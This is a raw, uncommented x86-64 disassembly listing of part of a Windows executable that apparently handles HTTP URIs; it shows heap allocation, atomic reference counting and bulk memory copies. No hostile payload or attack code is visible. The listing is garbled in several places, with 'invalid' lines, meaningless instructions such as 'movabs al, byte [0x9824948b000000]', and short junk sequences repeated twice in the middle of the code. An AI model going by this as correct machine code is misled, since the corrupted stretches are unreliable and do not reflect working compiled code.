mov qword [rsp + 0xb0], rax
mov r8b, 2
mov cl, 1
mov r9b, 0xb
mov edi, 2
mov r15d, 3
xor edx, edx
mov qword [rsp + 0x80], rax
xor eax, eax
mov qword [rsp + 0xa8], rax
xor r14d, r14d
xor eax, eax
mov qword [rsp + 0x38], rax
jmp 0x140076f65
mov byte [rsp + 0x34], 4
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x70], rax
mov rbp, r13
mov r13, qword [rsp + 0x48]
mov eax, dword [rsp + 0x130]
mov ecx, dword [rsp + 0x133]
mov dword [rsp + 0x1f3], ecx
mov dword [rsp + 0x1f0], eax
movaps xmm0, xmmword [rsp + 0x320]
movaps xmmword [rsp + 0x520], xmm0
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0x530], rax
lea rcx, [rsp + 0x4030]
lea rdx, [rsp + 0x3090]
mov r8d, 0x350
call fcn.140106250
movdqa xmm0, xmmword [rsp + 0x5a0]
movdqa xmmword [rsp + 0x500], xmm0
mov rax, qword [rsp + 0x5b0]
mov qword [rsp + 0x510], rax
mov byte [rbx], 1
mov rsi, qword [rsp + 0x50]
cmp rsi, 3
jne 0x140076043
mov rax, qword [rsp + 0x38]
mov byte [rax], 3
mov rax, qword [rsp + 0x60]
mov byte [rax], 3
mov al, 3
jmp 0x140077d82
mov eax, dword [rsp + 0x1f0]
mov ecx, dword [rsp + 0x1f3]
mov dword [rsp + 0x123], ecx
mov dword [rsp + 0x120], eax
movaps xmm0, xmmword [rsp + 0x520]
movaps xmmword [rsp + 0x300], xmm0
mov rax, qword [rsp + 0x530]
mov qword [rsp + 0x310], rax
lea rcx, [rsp + 0x4380]
lea rdx, [rsp + 0x4030]
mov r8d, 0x350
call fcn.140106250
movaps xmm0, xmmword [rsp + 0x500]
movaps xmmword [rsp + 0x540], xmm0
mov rax, qword [rsp + 0x510]
mov qword [rsp + 0x550], rax
movups xmm0, xmmword [rsp + 0x1130]
movups xmm1, xmmword [rsp + 0x1140]
movaps xmmword [rsp + 0x720], xmm0
movaps xmmword [rsp + 0x730], xmm1
mov rax, qword [rsp + 0x5ba]
mov rcx, qword [rsp + 0x5c0]
mov qword [rsp + 0x2c8], rax
mov qword [rsp + 0x2ce], rcx
mov eax, dword [rsp + 0x2f9]
mov ecx, dword [rsp + 0x2fc]
mov dword [rsp + 0x1f8], eax
mov dword [rsp + 0x1fb], ecx
movups xmm0, xmmword [rsp + 0x1110]
movups xmm1, xmmword [rsp + 0x1120]
movaps xmmword [rsp + 0x710], xmm1
movaps xmmword [rsp + 0x700], xmm0
movups xmm0, xmmword [rsp + 0x624]
movdqu xmm1, xmmword [rsp + 0x634]
movups xmm2, xmmword [rsp + 0x644]
movups xmm3, xmmword [rsp + 0x650]
movups xmmword [rsp + 0x46c], xmm3
movaps xmmword [rsp + 0x460], xmm2
movdqa xmmword [rsp + 0x450], xmm1
movaps xmmword [rsp + 0x440], xmm0
cmp rsi, 2
jne 0x140076357
movzx eax, byte [rsp + 0x34]
mov byte [rsp + 0x1150], al
mov eax, dword [rsp + 0x120]
mov ecx, dword [rsp + 0x123]
mov dword [rsp + 0x1151], eax
mov dword [rsp + 0x1154], ecx
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x1158], rax
movdqa xmm0, xmmword [rsp + 0x300]
movdqu xmmword [rsp + 0x1160], xmm0
mov rax, qword [rsp + 0x310]
mov qword [rsp + 0x1170], rax
lea rcx, [rsp + 0x1150]
call fcn.140036090
mov qword [rsp + 0x48], rax
mov rax, qword [r12 + 0x1f0]
test rax, rax
je 0x140076213
lock dec qword [rax]
jne 0x140076213
mov rcx, qword [r12 + 0x1f0]
mov rdx, qword [r12 + 0x1f8]
call fcn.140005050
lea rcx, [r12 + 0x1e0]
call fcn.140072330
mov byte [r12 + 0x430], 1
mov rcx, rbp
call fcn.140072200
mov rax, qword [r12 + 0x1b8]
lock dec qword [rax]
jne 0x14007624c
mov rcx, qword [r12 + 0x1b8]
call fcn.140037080
mov rsi, qword [r12 + 0x1c0]
lock dec qword [rsi + 0x1c8]
jne 0x1400762e1
lea rcx, [rsi + 0x80]
mov edx, 1
lock xadd qword [rsi + 0x88], rdx
call fcn.140065920
movabs rcx, 0x200000000
lock or qword [rax + 0x2310], rcx
mov rax, qword [rsi + 0x110]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rsi + 0x110], rcx
jne 0x1400762a0
test rax, rax
jne 0x1400762e1
mov rax, qword [rsi + 0x100]
mov rcx, qword [rsi + 0x108]
mov qword [rsi + 0x100], 0
lock and qword [rsi + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x1400762e1
call qword [rax + 8]
lock dec qword [rsi]
jne 0x1400762f4
mov rcx, qword [r12 + 0x1c0]
call fcn.140066d70
mov rax, qword [r12 + 0x180]
test rax, rax
je 0x140076a48
lock dec qword [rax]
mov eax, 4
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x98], eax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x78], eax
mov dword [rsp + 0x88], eax
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x34], eax
je 0x140076fb4
jmp 0x140076fc9
mov qword [rsp + 0x48], r13
mov eax, dword [rsp + 0x120]
mov ecx, dword [rsp + 0x123]
mov dword [rsp + 0x74c], ecx
mov dword [rsp + 0x749], eax
movaps xmm0, xmmword [rsp + 0x300]
movups xmmword [rsp + 0x758], xmm0
mov rax, qword [rsp + 0x310]
mov qword [rsp + 0x768], rax
lea rcx, [rsp + 0x770]
lea rdx, [rsp + 0x4380]
mov r8d, 0x350
call fcn.140106250
mov qword [rsp + 0xac0], 2
mov rax, qword [rsp + 0x550]
mov qword [rsp + 0xad8], rax
movaps xmm0, xmmword [rsp + 0x540]
movups xmmword [rsp + 0xac8], xmm0
mov qword [rsp + 0xae0], 0
movaps xmm0, xmmword [rsp + 0x720]
movaps xmm1, xmmword [rsp + 0x730]
movups xmmword [rsp + 0xaf0], xmm0
movups xmmword [rsp + 0xb00], xmm1
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0xb32], rax
mov rax, qword [rsp + 0x2ce]
mov qword [rsp + 0xb38], rax
mov eax, dword [rsp + 0x1f8]
mov dword [rsp + 0xb41], eax
mov eax, dword [rsp + 0x1fb]
mov dword [rsp + 0xb44], eax
movaps xmm0, xmmword [rsp + 0x700]
movaps xmm1, xmmword [rsp + 0x710]
movups xmmword [rsp + 0xb70], xmm1
movups xmmword [rsp + 0xb60], xmm0
movaps xmm0, xmmword [rsp + 0x440]
movdqa xmm1, xmmword [rsp + 0x450]
movaps xmm2, xmmword [rsp + 0x460]
movups xmmword [rsp + 0xbc4], xmm0
movdqu xmmword [rsp + 0xbd4], xmm1
movups xmmword [rsp + 0xbe4], xmm2
movups xmm0, xmmword [rsp + 0x46c]
movups xmmword [rsp + 0xbf0], xmm0
mov qword [rsp + 0x740], rsi
invalid
invalid
add byte [rax], al
movzx eax, byte [rsp + 0x34]
mov byte [rsp + 0x748], al
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x750], rax
mov qword [rsp + 0xae8], 0
mov dword [rsp + 0xb10], 0
mov word [rsp + 0xb1c], 0
mov qword [rsp + 0xb20], 0
mov byte [rsp + 0xb28], 0
mov byte [rsp + 0xb31], 2
mov byte [rsp + 0xb40], 0
mov qword [rsp + 0xb48], r15
mov qword [rsp + 0x238], rdi
mov qword [rsp + 0xb50], rdi
mov qword [rsp + 0xb58], 0
mov dword [rsp + 0xb80], 1
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0xb84], rax
mov eax, dword [rsp + 0xe8]
mov dword [rsp + 0xb8c], eax
mov eax, dword [rsp + 0xe0]
mov dword [rsp + 0xb90], eax
mov eax, dword [rsp + 0x80]
mov dword [rsp + 0xb94], eax
mov rax, qword [rsp + 0x70]
mov dword [rsp + 0xb98], eax
mov eax, dword [rsp + 0x1d0]
mov dword [rsp + 0xb9c], eax
mov eax, dword [rsp + 0x148]
mov dword [rsp + 0xba0], eax
mov eax, dword [rsp + 0x1c0]
mov dword [rsp + 0xba4], eax
mov eax, dword [rsp + 0x1b8]
mov dword [rsp + 0xba8], eax
mov eax, dword [rsp + 0x234]
mov dword [rsp + 0xbac], eax
mov eax, dword [rsp + 0x230]
mov dword [rsp + 0xbb0], eax
mov eax, dword [rsp + 0x140]
mov dword [rsp + 0xbb4], eax
mov eax, dword [rsp + 0x1c8]
mov dword [rsp + 0xbb8], eax
mov eax, dword [rsp + 0x218]
mov dword [rsp + 0xbbc], eax
mov dword [rsp + 0xbc0], 2
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140078b3c
invalid
mov rbx, rax
mov qword [rax], 0
movzx eax, byte [0x140182310]
mov edx, 0x10
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140078b4b
mov r13, rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movzx eax, byte [0x140182310]
mov edx, 0x60
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140078b5a
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], r13
mov qword [rax + 0x28], r13
mov qword [rax + 0x30], 1
mov qword [rax + 0x38], r14
mov qword [rax + 0x40], 1
mov qword [rax + 0x48], 0
mov qword [rax + 0x58], 0
mov qword [rsp + 0xd8], rax
lock inc qword [rax]
jle 0x140078731
movzx eax, byte [0x140182310]
mov edx, 0x30
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140078958
mov qword [rax], 1
mov qword [rax + 8], 1
mov word [rax + 0x10], 0
mov qword [rax + 0x18], 0
mov qword [rsp + 0x1c0], rax
mov byte [rax + 0x28], 0
movzx eax, byte [0x140182310]
mov edx, 0x48
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140078b69
mov qword [rsp + 0x58], rbp
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], 0
mov byte [rax + 0x20], 0
mov qword [rax + 0x28], 0
sub byte [rax], al
add byte [rax], al
add dh, al
cmp byte [rax], al
sub byte [rax], al
add byte [rax], al
add dh, al
cmp byte [rax], al
mov word [rax + 0x40], 0
mov qword [rsp + 0x38], rax
lock inc qword [rax]
jle 0x140078731
mov rax, qword [r12 + 0x380]
movzx ebp, byte [rax + 0x44]
mov r14d, dword [rax + 0x3c]
mov rcx, qword [rax + 0x20]
mov edi, dword [rax + 0x28]
mov r13, qword [rax + 0x10]
mov esi, dword [rax + 0x18]
movzx ebx, byte [rax + 0x45]
test ebp, ebp
jne 0x1400767c1
cmp edi, 0x3b9aca00
jne 0x1400767c1
lea rcx, [rsp + 0xc00]
lea rdx, [rsp + 0x740]
mov r8d, 0x4c0
call fcn.140106250
mov edi, 2
xor r14d, r14d
jmp 0x140076933
mov qword [rsp + 0x50], rcx
lea rcx, [rsp + 0xb20]
call fcn.14001f7a0
test rax, rax
je 0x140078c18
mov dword [rsp + 0x1150], ebp
mov dword [rsp + 0x1154], r14d
mov qword [rsp + 0x1158], r13
mov dword [rsp + 0x1160], esi
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x1168], rcx
mov dword [rsp + 0x1170], edi
mov byte [rsp + 0x1178], bl
lea rcx, [rsp + 0x3090]
lea r8, [rsp + 0x1150]
mov rdx, rax
call fcn.140039110
mov r14, qword [rsp + 0x3090]
movups xmm0, xmmword [rsp + 0x30e8]
movups xmmword [rsp + 0x1658], xmm0
movups xmm0, xmmword [rsp + 0x30d8]
movups xmmword [rsp + 0x1648], xmm0
movups xmm0, xmmword [rsp + 0x30c8]
movups xmmword [rsp + 0x1638], xmm0
movups xmm0, xmmword [rsp + 0x30b8]
movups xmmword [rsp + 0x1628], xmm0
movups xmm0, xmmword [rsp + 0x30a8]
movups xmmword [rsp + 0x1618], xmm0
movups xmm0, xmmword [rsp + 0x3098]
movups xmmword [rsp + 0x1608], xmm0
xor byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x1608], eax
mov rdi, qword [rsp + 0x740]
lea rsi, [rsp + 0x1150]
mov r8d, 0x4b8
mov rcx, rsi
lea rdx, [rsp + 0x748]
call fcn.140106250
lea rcx, [rsp + 0xc00]
mov r8d, 0x4c0
mov rdx, rsi
call fcn.140106250
movups xmm0, xmmword [rsp + 0x1610]
movdqu xmm1, xmmword [rsp + 0x1620]
movups xmm2, xmmword [rsp + 0x1630]
movups xmm3, xmmword [rsp + 0x1640]
movaps xmmword [rsp + 0x150], xmm0
and al, 0x50
add dword [rax], eax
add byte [rsi + 0xf], ah
jg 0x14007688a
and al, 0x60
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x170], edx
and al, 0x50
add dword [rax], eax
add byte [rsi + 0xf], ah
jg 0x14007688a
and al, 0x60
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x170], edx
movaps xmmword [rsp + 0x180], xmm3
movups xmm0, xmmword [rsp + 0x1650]
movaps xmmword [rsp + 0x190], xmm0
mov rax, qword [rsp + 0x1660]
mov qword [rsp + 0x1a0], rax
mov rbx, qword [r12 + 0x1f0]
test rbx, rbx
mov rbp, qword [rsp + 0x58]
je 0x140076a90
mov rbp, r14
mov r14, qword [r12 + 0x1f8]
mov r13, qword [r14 + 0x10]
movzx eax, byte [0x140182310]
mov edx, 0xf98
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140078bfa
mov rsi, rax
dec r13
and r13, 0xfffffffffffffff0
add rbx, r13
add rbx, 0x10
mov qword [rax], 1
mov rax, qword [rsp + 0xd8]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rdi
mov rcx, rsi
add rcx, 0x18
lea rdx, [rsp + 0xc00]
mov r8d, 0x4c0
call fcn.140106250
movaps xmm0, xmmword [rsp + 0x150]
movdqa xmm1, xmmword [rsp + 0x160]
movaps xmm2, xmmword [rsp + 0x170]
movaps xmm3, xmmword [rsp + 0x180]
movups xmmword [rsi + 0x4d8], xmm0
movdqu xmmword [rsi + 0x4e8], xmm1
movups xmmword [rsi + 0x4f8], xmm2
movups xmmword [rsi + 0x508], xmm3
movaps xmm0, xmmword [rsp + 0x190]
movups xmmword [rsi + 0x518], xmm0
mov rax, qword [rsp + 0x1a0]
mov qword [rsi + 0x528], rax
mov rdi, qword [rsp + 0x38]
mov qword [rsi + 0x530], rdi
mov byte [rsi + 0xa58], 0
lea r8, fcn.14007b2a0
mov rcx, rbx
mov rdx, rsi
call qword [r14 + 0x18]
mov r13, qword [rsp + 0x48]
mov r14, rbp
mov rbp, qword [rsp + 0x58]
jmp 0x140076ec3
mov eax, 4
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x98], eax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x78], eax
mov dword [rsp + 0x88], eax
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x34], eax
jmp 0x140076fc9
mov eax, 1
lock xadd qword [0x140182050], rax
mov qword [rsp + 0x4030], rax
mov qword [rsp + 0x20f0], 1
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x20f8], rax
mov qword [rsp + 0x2100], rdi
lea rcx, [rsp + 0x2108]
lea rdx, [rsp + 0xc00]
mov r8d, 0x4c0
call fcn.140106250
movaps xmm0, xmmword [rsp + 0x150]
movdqa xmm1, xmmword [rsp + 0x160]
movaps xmm2, xmmword [rsp + 0x170]
movaps xmm3, xmmword [rsp + 0x180]
movups xmmword [rsp + 0x25c8], xmm0
movdqu xmmword [rsp + 0x25d8], xmm1
movups xmmword [rsp + 0x25e8], xmm2
movups xmmword [rsp + 0x25f8], xmm3
movaps xmm0, xmmword [rsp + 0x190]
movups xmmword [rsp + 0x2608], xmm0
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x2618], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x2620], rax
mov byte [rsp + 0x2b48], 0
lea rax, [rsp + 0x4030]
mov qword [rsp + 0x3088], rax
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
mov r13, qword [rsp + 0x48]
je 0x140076bc5
test eax, eax
jne 0x140078cb9
and dword [rcx], esp
add byte [rax], al
and dword [rcx], esp
add byte [rax], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rsi + 0x120], 1
lea rcx, [rsp + 0x3090]
lea rdx, [rsp + 0x20f0]
mov r8d, 0xfa0
call fcn.140106250
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140078b30
inc rax
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xd0], rax
mov rsi, qword [rcx + 0xd8]
lea rcx, [rsp + 0x1150]
lea rdx, [rsp + 0x20f0]
mov r8d, 0xfa0
call fcn.140106250
cmp rsi, 2
je 0x140078c5a
mov rax, qword [rsp + 0x20e8]
mov rdi, qword [rax]
test rsi, rsi
mov qword [rsp + 0x78], r14
je 0x140076d8c
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle 0x140078731
movzx eax, byte [0x140182310]
mov edx, 0x1080
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140078c9e
mov r14, rax
and r14, 0xffffffffffffff80
lea rsi, [r14 + 0x80]
mov qword [r14 + 0x78], rax
lea rax, [rbx + 0x68]
mov qword [rsp + 0x50], rax
mov qword [r14 + 0x80], 0xcc
mov qword [r14 + 0x88], 0
lea rax, [0x140140e18]
mov qword [r14 + 0x90], rax
mov qword [r14 + 0x98], 0
mov qword [r14 + 0xa0], rbx
mov qword [r14 + 0xa8], rdi
lea rcx, [r14 + 0xb0]
lea rdx, [rsp + 0x3090]
mov r8d, 0xf98
call fcn.140106250
xorps xmm0, xmm0
movups xmmword [r14 + 0x1048], xmm0
mov qword [r14 + 0x1058], 0
mov rcx, qword [rsp + 0x50]
mov rdx, rsi
mov r8, rsi
call fcn.1400654c0
test rax, rax
je 0x140076e84
add rbx, 0x10
mov rcx, rbx
mov rdx, rax
xor r8d, r8d
call fcn.1400ec5d0
jmp 0x140076e84
lea rcx, str._Uri_as_Dst_::host_should_have_a_str
lea r8, [0x140143800]
mov edx, 0x24
call fcn.1401086b0
mov rdi, qword [r12 + 0x340]
jmp 0x14007526a
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle 0x140078731
movzx eax, byte [0x140182310]
mov edx, 0x1080
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140078c9e
mov r14, rax
and r14, 0xffffffffffffff80
lea rsi, [r14 + 0x80]
mov qword [r14 + 0x78], rax
mov qword [r14 + 0x80], 0xcc
mov qword [r14 + 0x88], 0
lea rax, [0x140140d28]
mov qword [r14 + 0x90], rax
mov qword [r14 + 0x98], 0
mov qword [r14 + 0xa0], rbx
add rbx, 0x58
mov qword [r14 + 0xa8], rdi
lea rcx, [r14 + 0xb0]
lea rdx, [rsp + 0x3090]
mov r8d, 0xf98
call fcn.140106250
xorps xmm0, xmm0
movups xmmword [r14 + 0x1048], xmm0
mov qword [r14 + 0x1058], 0
mov rcx, rbx
mov rdx, rsi
mov r8, rsi
call fcn.1400654c0
test rax, rax
je 0x140076e84
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rcx + 0xe0]
mov rdx, rax
call fcn.1400eabe0
mov rdi, qword [rsp + 0x38]
mov r14, qword [rsp + 0x78]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
mov ecx, 0x84
mov eax, 0xcc
lock cmpxchg qword [rsi], rcx
je 0x140076ec3
mov rax, qword [rsi + 0x10]
mov rcx, rsi
call qword [rax + 0x20]
mov rsi, qword [r12 + 0x1f0]
mov rax, qword [r12 + 0x1f8]
mov qword [rsp + 0xb0], rax
mov rax, qword [r12 + 0x1e0]
mov qword [rsp + 0x1b8], rax
mov rax, qword [r12 + 0x1e8]
mov qword [rsp + 0xa8], rax
mov byte [r12 + 0x430], 1
mov rcx, rbp
call fcn.140072200
mov rbp, r14
shr rbp, 8
mov rax, r14
shr rax, 0x30
mov qword [rsp + 0x58], rax
mov rax, r14
shr rax, 0x38
mov qword [rsp + 0x68], rax
mov edx, esi
shr edx, 8
mov ecx, esi
shr ecx, 0x10
mov r8d, esi
shr r8d, 0x18
mov rax, rsi
mov qword [rsp + 0x70], rsi
shr rsi, 0x20
mov qword [rsp + 0x80], rsi
mov eax, 2
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov dword [rsp + 0x34], eax
mov dword [rsp + 0x50], eax
mov rax, qword [r12 + 0x1b8]
mov qword [rsp + 0x48], rax
movdqu xmm0, xmmword [r12 + 0x1c0]
movdqa xmmword [rsp + 0x6f0], xmm0
mov rax, qword [r12 + 0x180]
test rax, rax
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x90], rdx
mov dword [rsp + 0x88], r8d
mov dword [rsp + 0x98], r9d
je 0x140076fc9
lock dec qword [rax]
jne 0x140076fc9
mov rcx, qword [r12 + 0x180]
mov rdx, qword [r12 + 0x188]
call fcn.140005050
movaps xmm0, xmmword [rsp + 0x6f0]
movaps xmmword [rsp + 0x6a0], xmm0
movaps xmm0, xmmword [rsp + 0x6e0]
movaps xmmword [rsp + 0x690], xmm0
movaps xmm0, xmmword [rsp + 0x6d0]
movaps xmmword [rsp + 0x680], xmm0
movaps xmm0, xmmword [rsp + 0x6c0]
movaps xmmword [rsp + 0x670], xmm0
mov rax, qword [rsp + 0x60]
mov byte [rax], 1
movaps xmm0, xmmword [rsp + 0x6a0]
movaps xmmword [rsp + 0x6b0], xmm0
movups xmm0, xmmword [rsp + 0x5c8]
movups xmm1, xmmword [rsp + 0x5d8]
movups xmm2, xmmword [rsp + 0x5e8]
movups xmm3, xmmword [rsp + 0x5f8]
movaps xmmword [rsp + 0x3e0], xmm0
movaps xmmword [rsp + 0x3f0], xmm1
movaps xmmword [rsp + 0x400], xmm2
movaps xmmword [rsp + 0x410], xmm3
movups xmm0, xmmword [rsp + 0x608]
movaps xmmword [rsp + 0x420], xmm0
mov rax, qword [rsp + 0x618]
mov qword [rsp + 0x430], rax
mov eax, dword [rsp + 0x2f2]
mov ecx, dword [rsp + 0x2f5]
mov dword [rsp + 0x10b], ecx
mov dword [rsp + 0x108], eax
movaps xmm0, xmmword [rsp + 0x690]
movaps xmmword [rsp + 0x4b0], xmm0
movaps xmm0, xmmword [rsp + 0x680]
movaps xmmword [rsp + 0x4a0], xmm0
mov eax, dword [rsp + 0x2eb]
mov ecx, dword [rsp + 0x2ee]
mov dword [rsp + 0x100], eax
mov dword [rsp + 0x103], ecx
mov eax, dword [rsp + 0x2c2]
mov dword [rsp + 0xc0], eax
movzx eax, word [rsp + 0x2c6]
mov word [rsp + 0xc4], ax
movaps xmm0, xmmword [rsp + 0x670]
movaps xmmword [rsp + 0x490], xmm0
mov eax, dword [rsp + 0x2bc]
mov dword [rsp + 0xb8], eax
movzx eax, word [rsp + 0x2c0]
mov word [rsp + 0xbc], ax
movups xmm0, xmmword [rsp + 0x1100]
movaps xmmword [rsp + 0x480], xmm0
mov rax, qword [rsp + 0x10f8]
mov qword [rsp + 0x35f], rax
movdqu xmm0, xmmword [rsp + 0x10d9]
movdqu xmm1, xmmword [rsp + 0x10e9]
movdqa xmmword [rsp + 0x350], xmm1
movdqa xmmword [rsp + 0x340], xmm0
mov eax, dword [rsp + 0x2e4]
mov ecx, dword [rsp + 0x2e7]
mov dword [rsp + 0xfb], ecx
mov dword [rsp + 0xf8], eax
mov eax, dword [rsp + 0x2dd]
mov ecx, dword [rsp + 0x2e0]
mov dword [rsp + 0xf3], ecx
mov dword [rsp + 0xf0], eax
mov rcx, r13
call fcn.140071ef0
cmp dword [rsp + 0x38], 4
je 0x140077ee6
movaps xmm0, xmmword [rsp + 0x6b0]
movaps xmmword [rsp + 0x660], xmm0
mov r13, qword [r12 + 0xf8]
test r13, r13
je 0x1400775a2
mov qword [rsp + 0x60], rbp
mov rax, qword [r12 + 0x100]
mov qword [rsp + 0x218], rax
mov rbp, qword [rax + 0x10]
movzx eax, byte [0x140182310]
mov edx, 0x1e8
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140078b09
dec rbp
and rbp, 0xfffffffffffffff0
lea rcx, [rbp + 0x10]
add rcx, r13
mov rdx, qword [rsp + 0x38]
mov qword [rax], rdx
mov qword [rax + 8], 2
mov qword [rax + 0x10], r15
movaps xmm0, xmmword [rsp + 0x3e0]
movaps xmm1, xmmword [rsp + 0x3f0]
movaps xmm2, xmmword [rsp + 0x400]
movaps xmm3, xmmword [rsp + 0x410]
movups xmmword [rax + 0x18], xmm0
movups xmmword [rax + 0x28], xmm1
movups xmmword [rax + 0x38], xmm2
push rax
cmp byte [rdi], cl
adc dword [rax + 0x48], ebx
push rax
cmp byte [rdi], cl
adc dword [rax + 0x48], ebx
movaps xmm0, xmmword [rsp + 0x420]
movups xmmword [rax + 0x58], xmm0
mov rdx, qword [rsp + 0x430]
mov qword [rax + 0x68], rdx
mov qword [rax + 0x70], 0
mov rdx, qword [rsp + 0xd8]
mov qword [rax + 0x78], rdx
mov rdx, qword [rsp + 0x1c0]
mov qword [rax + 0x80], rdx
mov byte [rax + 0x88], 0
mov edx, dword [rsp + 0x108]
mov r8d, dword [rsp + 0x10b]
mov dword [rax + 0x89], edx
mov dword [rax + 0x8c], r8d
mov qword [rax + 0x90], rdi
mov qword [rax + 0x98], r15
mov rdx, qword [rsp + 0x238]
mov qword [rax + 0xa0], rdx
nop
movabs al, byte [0x9824948b000000]
add byte [rax], al
nop
movabs al, byte [0x9824948b000000]
add byte [rax], al
mov byte [rax + 0xa8], dl
mov byte [rax + 0xaf], 0
mov word [rax + 0xad], 0
mov dword [rax + 0xa9], 0
mov rdx, qword [rsp + 0x1b8]
mov qword [rax + 0xb8], rdx
mov rdx, qword [rsp + 0xa8]
mov qword [rax + 0xc0], rdx
mov byte [rax + 0xc8], r14b
mov r8, qword [rsp + 0x60]
mov rdx, r8
shr rdx, 0x20
mov byte [rax + 0xcd], dl
mov dword [rax + 0xc9], r8d
mov rdx, qword [rsp + 0x58]
mov byte [rax + 0xce], dl
mov rdx, qword [rsp + 0x68]
mov byte [rax + 0xcf], dl
mov rdx, qword [rsp + 0x70]
mov byte [rax + 0xd0], dl
mov rdx, qword [rsp + 0x90]
mov byte [rax + 0xd1], dl
mov edx, dword [rsp + 0x78]
mov byte [rax + 0xd2], dl
mov edx, dword [rsp + 0x88]
mov byte [rax + 0xd3], dl
mov rdx, qword [rsp + 0x80]
mov dword [rax + 0xd4], edx
mov rdx, qword [rsp + 0xb0]
mov qword [rax + 0xd8], rdx
mov rdx, qword [rsp + 0xe0]
mov qword [rax + 0xe0], rdx
movaps xmm0, xmmword [rsp + 0x4b0]
movups xmmword [rax + 0xe8], xmm0
mov qword [rax + 0xf8], 0
mov qword [rax + 0x100], 8
movaps xmm0, xmmword [rsp + 0x4a0]
movups xmmword [rax + 0x108], xmm0
mov r9, qword [rsp + 0x140]
mov qword [rax + 0x118], r9
mov edx, dword [rsp + 0x50]
mov byte [rax + 0x120], dl
mov edx, dword [rsp + 0x100]
mov r8d, dword [rsp + 0x103]
mov dword [rax + 0x121], edx
mov dword [rax + 0x124], r8d
mov edx, dword [rsp + 0x34]
mov byte [rax + 0x128], dl
mov byte [rax + 0x129], 0
mov edx, dword [rsp + 0xc0]
mov dword [rax + 0x12a], edx
movzx edx, word [rsp + 0xc4]
mov word [rax + 0x12e], dx
mov rdx, qword [rsp + 0x148]
add byte [rax - 0x77], cl
nop
xor byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
nop
xor byte [rcx], al
add byte [rax], al
mov qword [rax + 0x138], r9
mov rdx, qword [rsp + 0xa0]
mov qword [rax + 0x140], rdx
mov rdx, qword [rsp + 0x1d0]
mov qword [rax + 0x148], rdx
mov rdx, qword [rsp + 0xe8]
mov qword [rax + 0x150], rdx
mov qword [rax + 0x158], 1
movaps xmm0, xmmword [rsp + 0x490]
movups xmmword [rax + 0x160], xmm0
mov qword [rax + 0x170], 1
mov word [rax + 0x178], 0
mov edx, dword [rsp + 0xb8]
mov dword [rax + 0x17a], edx
movzx edx, word [rsp + 0xbc]
mov word [rax + 0x17e], dx
mov qword [rax + 0x180], 2
movaps xmm0, xmmword [rsp + 0x480]
movups xmmword [rax + 0x188], xmm0
mov qword [rax + 0x198], rsi
mov qword [rax + 0x1a0], rbx
mov byte [rax + 0x1a8], 0
mov rdx, qword [rsp + 0x35f]
mov qword [rax + 0x1c8], rdx
movaps xmm0, xmmword [rsp + 0x340]
